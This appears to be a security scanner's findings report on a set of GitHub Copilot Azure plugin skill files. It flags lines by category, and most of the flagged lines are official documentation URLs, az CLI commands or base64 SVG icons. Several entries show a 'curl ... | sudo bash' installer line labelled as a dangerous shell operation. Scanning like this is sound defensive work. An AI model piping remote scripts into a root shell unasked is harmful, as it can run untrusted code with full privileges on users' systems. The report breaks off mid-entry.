    "b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl
  • Possible obfuscationline 1402
    "b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md

  • Network accessline 24
    # Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 25
    brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI
  • Dangerous shell operationline 26
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 26
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 146
    - [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/build-and-tasks.md

  • Network accessline 32
    # Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 33
    az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 59
    az acr task create --registry {registry} --name build-app \   --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 60
    --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \   --file Dockerfile \
  • Network accessline 61
    --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 124
    az acr task create --registry {registry} --name build-test-push \   --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 125
    --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \   --git-access-token {pat}
  • Network accessline 126
    --context https://github.com/{org}/{repo}.git#main \

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/images-and-artifacts.md

  • Network accessline 148
    az acr credential-set create --registry {registry} --name dockerhub-creds \   --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 149
    --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \   --password-id https://{vault}.vault.azure.net/secrets/dh-pass
  • Network accessline 150
    --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 151
    --password-id https://{vault}.vault.azure.net/secrets/dh-pass

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/networking-and-geo.md

  • Network accessline 93
    Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected.
  • Network accessline 130
    az acr export-pipeline create --resource-group {rg} --registry {src-registry} \   --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 131
    --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 132
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 133
    --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 136
    az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \   --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 137
    --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 138
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 139
    --storage-container-uri https://{account}.blob.core.windows.net/{container}

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/ERROR-HANDLING.md

  • Network accessline 35
    - **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 37
    - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 166
    - **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn
  • Network accessline 168
    - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064
  • Network accessline 211
    2. Provide installation instructions.   - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 212
    - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands
  • Network accessline 213
    - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 245
    - **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
  • Network accessline 246
    - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if
  • Network accessline 247
    - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md

  • Network accessline 297
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 298
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 310
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/examples/azure.yaml

  • Network accessline 1
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/iac-and-environments.md

  • Network accessline 63
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 147
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/official-docs.md

  • Network accessline 7
    - [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 8
    - [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview)
  • Network accessline 9
    - [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates)
  • Network accessline 10
    - [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible)
  • Network accessline 11
    - [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema)
  • Network accessline 12
    - [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json)
  • Network accessline 13
    - [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow)
  • Network accessline 14
    - [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment)
  • Network accessline 18
    - [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 19
    - [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/)
  • Network accessline 20
    - [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/)
  • Network accessline 21
    - [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/)
  • Network accessline 25
    - [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview)
  • Network accessline 26
    - [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments)
  • Network accessline 27
    - [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables)
  • Network accessline 28
    - [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support)
  • Network accessline 29
    - [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets)
  • Network accessline 33
    - [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility)
  • Network accessline 34
    - [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline)
  • Network accessline 35
    - [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions)
  • Network accessline 36
    - [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features)
  • Network accessline 37
    - [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference)
  • Network accessline 38
    - [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot)
  • Network accessline 42
    - [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills)
  • Network accessline 43
    - [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli/references/project-structure.md

  • Network accessline 59
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md

  • Network accessline 27
    # Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 28
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 28
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 37
    az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN
  • Network accessline 38
    az devops configure --defaults organization=https://dev.azure.com/{org} project={project}
  • Network accessline 42
    Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`.
  • Network accessline 129
    - **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://
  • Network accessline 130
    - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr
  • Network accessline 131
    - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced.
  • Network accessline 157
    **Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 158
    **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 178
    - [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 179
    - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 188
    - [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/advanced-usage.md

  • Network accessline 159
    | Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
  • Network accessline 160
    |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID |
  • Network accessline 161
    | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/long-comments-on-windows.md

  • Network accessline 54
    The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/org-and-security.md

  • Network accessline 22
    az devops project list --organization https://dev.azure.com/{org}
  • Network accessline 29
    az devops project create \   --name myNewProject \   --organization https://dev.azure.com/{org} \
  • Network accessline 30
    --name myNewProject \   --organization https://dev.azure.com/{org} \   --description "My new DevOps project" \
  • Network accessline 31
    --organization https://dev.azure.com/{org} \
  • Network accessline 40
    az devops project show --project {project-name} --org https://dev.azure.com/{org}
  • Network accessline 46
    az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes
  • Network accessline 155
    az devops user list --org https://dev.azure.com/{org}
  • Network accessline 162
    az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org}
  • Network accessline 168
    az devops user add    --email user@example.com    --license-type express    --org https://dev.azure.com/{org}
  • Network accessline 169
    --email user@example.com \   --license-type express \   --org https://dev.azure.com/{org}
  • Network accessline 171
    --org https://dev.azure.com/{org}
  • Network accessline 177
    az devops user update    --user {user-id-or-email}    --license-type advanced    --org https://dev.azure.com/{org}
  • Network accessline 178
    --user {user-id-or-email} \   --license-type advanced \   --org https://dev.azure.com/{org}
  • Network accessline 180
    --org https://dev.azure.com/{org}
  • Network accessline 186
    az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes
  • Network accessline 440
    # List installed extensions az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 441
    az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 446
    # Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 447
    az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 450
    az devops extension install \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} \
  • Network accessline 451
    --ext-id {extension-id} \   --org https://dev.azure.com/{org} \   --publisher {publisher-id}
  • Network accessline 452
    --org https://dev.azure.com/{org} \
  • Network accessline 456
    az devops extension enable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 458
    --org https://dev.azure.com/{org}
  • Network accessline 461
    az devops extension disable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 463
    --org https://dev.azure.com/{org}
  • Network accessline 466
    az devops extension uninstall \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} --yes
  • Network accessline 468
    --org https://dev.azure.com/{org} --yes

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/pipelines-and-builds.md

  • Network accessline 39
    az pipelines create \   --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \
  • Network accessline 40
    --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \   --branch main \
  • Network accessline 41
    --repository https://github.com/Org/Repo \

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/repos-and-prs.md

  • Network accessline 17
    az repos list --org https://dev.azure.com/{org} --project {project}
  • Network accessline 50
    # Import from public Git repository az repos import create \   --git-source-url https://github.com/user/repo \
  • Network accessline 51
    az repos import create    --git-source-url https://github.com/user/repo
  • Network accessline 52
    --git-source-url https://github.com/user/repo \
  • Network accessline 55
    # Import with authentication az repos import create \   --git-source-url https://github.com/{owner}/{repo} \
  • Network accessline 56
    az repos import create    --git-source-url https://github.com/{owner}/{repo}
  • Network accessline 57
    --git-source-url https://github.com/{owner}/{repo} \

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli/references/workflows-and-patterns.md

  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 177
    "serviceEndpointId": "$SERVICE_ENDPOINT_ID"   },   "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 333
    # Alternative download method   curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Network accessline 334
    curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Access to secretsline 460
    [Credential-related source omitted]
  • Access to secretsline 461
    [Credential-related source omitted]
  • Network accessline 553
    if [[ "$RESULT" == "failed" ]]; then       # Send Slack alert       curl -X POST "$slack_webhook" \
  • Network accessline 554
    # Send Slack alert       curl -X POST "$slack_webhook" \         -H 'Content-Type: application/json' \
  • Network accessline 555
    curl -X POST "$slack_webhook" \

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md

  • Network accessline 22
    - `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall
  • Network accessline 24
    - Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`.
  • Network accessline 45
    {   "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 46
    "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 52
    "appBuildCommand": "npm run build",       "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"
  • Network accessline 53
    "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"     }
  • Network accessline 54
    "appDevserverUrl": "http://localhost:3000"
  • Network accessline 78
    | `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location,
  • Network accessline 79
    | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star
  • Network accessline 80
    | `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, 
  • Network accessline 126
    Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag
  • Network accessline 206
    ### Validation - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 207
    - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 208
    - API `http://localhost:4280/api/message`: pass | fail | not applicable
  • Network accessline 223
    - [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)

harness/github-copilot/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md

  • Network accessline 113
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 114
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/github-copilot/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md

  • Network accessline 22
    - A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta
  • Network accessline 24
    - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`.
  • Network accessline 30
    | Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/
  • Network accessline 31
    | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m
  • Network accessline 32
    | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. |
  • Network accessline 33
    | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. |
  • Network accessline 39
    1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a
  • Network accessline 40
    2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio
  • Network accessline 41
    3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`.
  • Network accessline 42
    4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree
  • Network accessline 43
    5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes.
  • Network accessline 66
    | Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep
  • Network accessline 67
    |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource
  • Network accessline 68
    | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 69
    | avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 70
    | avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 89
    - [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource})
  • Network accessline 90
    - [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)

harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azqr-recommendations.md

  • Network accessline 171
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 172
    - [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources)
  • Network accessline 173
    - [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/)
  • Network accessline 174
    - [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)

harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azqr-remediation-patterns.md

  • Network accessline 375
    - [Azure CLI Reference](https://learn.microsoft.com/cli/azure/)
  • Network accessline 376
    - [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/)
  • Network accessline 377
    - [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)

harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azure-quick-review.md

  • Network accessline 154
    - [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 155
    - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 156
    - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 157
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)

harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md

  • Network accessline 12
    import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
  • Network accessline 14
    const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md

  • Network accessline 17
    |----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Network accessline 18
    | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator |
  • Network accessline 19
    | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    GRAPH = "https://graph.microsoft.com/v1.0"
  • Network accessline 142
    "displayName": "My Agent Blueprint",     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 143
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 144
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 145
    ], } resp = requests.post(
  • Network accessline 146
    } resp = requests.post(     f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint",
  • Network accessline 147
    resp = requests.post(
  • Network accessline 164
    sp_body = {"appId": app_id} resp = requests.post(
  • Network accessline 165
    resp = requests.post(
  • Network accessline 181
    "agentIdentityBlueprintId": app_id,     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 182
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 183
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 184
    ], } resp = requests.post(
  • Network accessline 185
    } resp = requests.post(     f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity",
  • Network accessline 186
    resp = requests.post(
  • Network accessline 224
    graph_sp = requests.get(
  • Network accessline 231
    requests.post(
  • Network accessline 249
    requests.post(
  • Network accessline 286
    Base URL: `https://graph.microsoft.com/v1.0`.
  • Network accessline 351
    | Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 352
    |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-
  • Network accessline 353
    | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 354
    | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup |
  • Network accessline 355
    | Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 356
    | Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/known-limitations.md

  • Network accessline 3
